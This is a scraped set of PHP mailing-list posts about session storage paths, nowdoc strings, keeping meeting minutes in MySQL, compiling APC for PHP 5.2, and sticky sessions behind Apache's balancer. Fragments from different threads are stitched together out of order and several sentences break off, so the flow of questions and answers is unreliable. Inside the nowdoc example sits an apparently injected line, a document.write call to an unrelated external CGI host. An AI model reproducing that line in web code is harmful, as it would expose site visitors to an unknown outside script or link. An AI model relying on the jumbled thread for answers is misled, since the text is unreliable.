 Just to be sure ... the webspace is on the same server and has
 access to
 the same directory where the session data is stored?
 (session_save_path)?

Ok, that is a different answer from the previous one where you said "it
points to a folder within my main domain's structure"

Are you running on error_reporting(E_ALL) and ini_set('display_errors',
'On')?
Just to be sure that there are no hidden notices or warnings.

The only thing you have to worry about is quotes characters. Assuming you're 
running 5.3+, just use now docs 
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).

$String = <<<'STRING'
;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');

$string = 'This is a _- characters'

echo str_replace('supposedly', 'imaginary', $string)

I actually disagree on this point. In the past, storing data in a
database would make the entire database-system extremely slow and would
eat up memory. These days, most database-systems can be (or even are)
optimized to actually not do this anymore.

One positive aspect of storing such data in a database is the ability to
search using full-text searches. For example, you could use the Sphinx
Search Engine, which integrates into MySQL very well. It makes searching
for specific words, phrases, etc. very simple and VERY fast.

So in this case, storing it in a database WOULD actually be a good idea
IMO.

Actually, I have to come back on that one. You could also store it

First off, I'd convert them to RTF (rich text format). Word format is
too ephemeral ( = self-incompatible). RTF is a lowest common denomenator
which can be converted to a variety of other formats. And RTF is a
standardized format that both Word and things like Open Office both
understand. The formatting for meeting minutes don't dictate a very
complicated layout (something that RTF isn't that good with). I would
suggest HTML format, but Word is notoriously atrocious at faithfully
converting its own formats into HTML. The result is horrid.

Second, you've hit on one of my pet peeves. Never never store huge
blocks of text in SQL files. It slows them down and there's no real
reason for it. There's no reason to force a DBMS to schlep around

Slightly off-topic perhaps but I'm looking for general input here.

New idea for a project - save the minutes of my firehouse meetings into 
a mysql table and build a ui to search them for words and such.  The 
docs are written in Word currently.  My simplistic idea is to perhaps 
convert them to something other than Word format and then to store them 
into a field of a mysql record with the meeting date as a key field.
Of course having them online I should also allow for viewing as a

[PHP] Compile APC in PHP 5.2

2012-12-12 Thread Alexander Diedler
Hello,
I try to get APC working for a compiled PHP 5.2.17. 
On this Ubuntu, we have an PHP 5.3 installed with APT-GET and a PHP 5.2 as CGI 
module compiled with make etc.
In the PHP 5.3 I got APC running in phpinfo, but not in PHP 5.2, what we have 
to do to get work it?

I use this 
http://de2.php.net/manual/de/install.pecl.static.php
but if I use the configure with 
./configure --prefix=/opt/php5.2 --with-config-file-path=/opt/php5.2 
--with-mysqli --with-mysql --with-pdo-mysql --with-curl --with-gd 
--with-jpeg-dir=/usr --with-png-dir=/usr --with-freetype-dir=/usr --enable-cli

--enable-mbstring --with-bz2 --enable-gd-native-ttf --enable-calendar 
--with-gmp --enable-bcmath --with-xpm-dir=/usr --enable-soap --with-openssl 
--with-zlib --with-apc
There are only errors in the configure and it seems, that buildconf destroy the 
configure file.

I try also

but if I add extension=apc.so and restart, it will not be shown in phpinfo.

[PHP] Php application with session used in a cluster

2012-12-12 Thread Jan Vávra

Hello,
 we are considering to use a php on several application servers behind 
the apache mod_proxy_balancer. Our php app is using session cookies. And 
we would like to use session stickyness - once the user connects to app 
server X and gets the session cookie, all other request will be 
ballanced (reverse proxied) to the app server X. We have these 
theoretical possibilities:


1. Into each response add own Set-Cookie: Cluster-Node=blabla.X
When user continues requesting the apache balancer the balancer knows to 
which app server redirect. From the value of own cookie Cluster-Node= 
reads the value X identifying the app server X.
Problem: Does exist in the php framework something like .net post 
request handler?
For better understanding replace the word /post by //after/. So after 
the request is processed by the php application code the "post request 
handler" is fired and calls header("Cluster-Node=blabla.X")


2. Modify the php session management system.
We need to add to php session value string ".X". Is there a way how to 
do it?


3. Write an own session management system for a single app server or for 
all of them.

The most work-intensive option ;-(

My resource is a paragraph from Apache mod proxy balancer manual
http://httpd.apache.org/docs/2.2/mod/mod_proxy_balancer.html

Some back-ends use a slightly different form of stickyness cookie, for 
instance Apache Tomcat. Tomcat adds the name of the Tomcat instance to 
the end of its session id cookie, separated with a dot (|.|) from the 
session id. Thus if the Apache web server finds a dot in the value of 
the stickyness cookie, it only uses the part behind the dot to search 
for the route. In order to let Tomcat know about its instance name, you 
need to set the attribute |jvmRoute| inside the Tomcat configuration 
file |conf/server.xml| to the value of the route of the worker that 
connects to the respective Tomcat. The name of the session cookie used 
by Tomcat (and more generally by Java web applications based on 
servlets) is |JSESSIONID| (upper case) but can be configured to 
something else.


And the last possibility is:
4. Can apache mod_proxy_balancer stick cookies by the session cookie name?
Each app server can have its own session.cookie_name=PHPSESSION-X. But 
it is a query for a different forum...


Can anybody give me an advice?

Thanks.
Jan.

which is accessible from your subdomains?
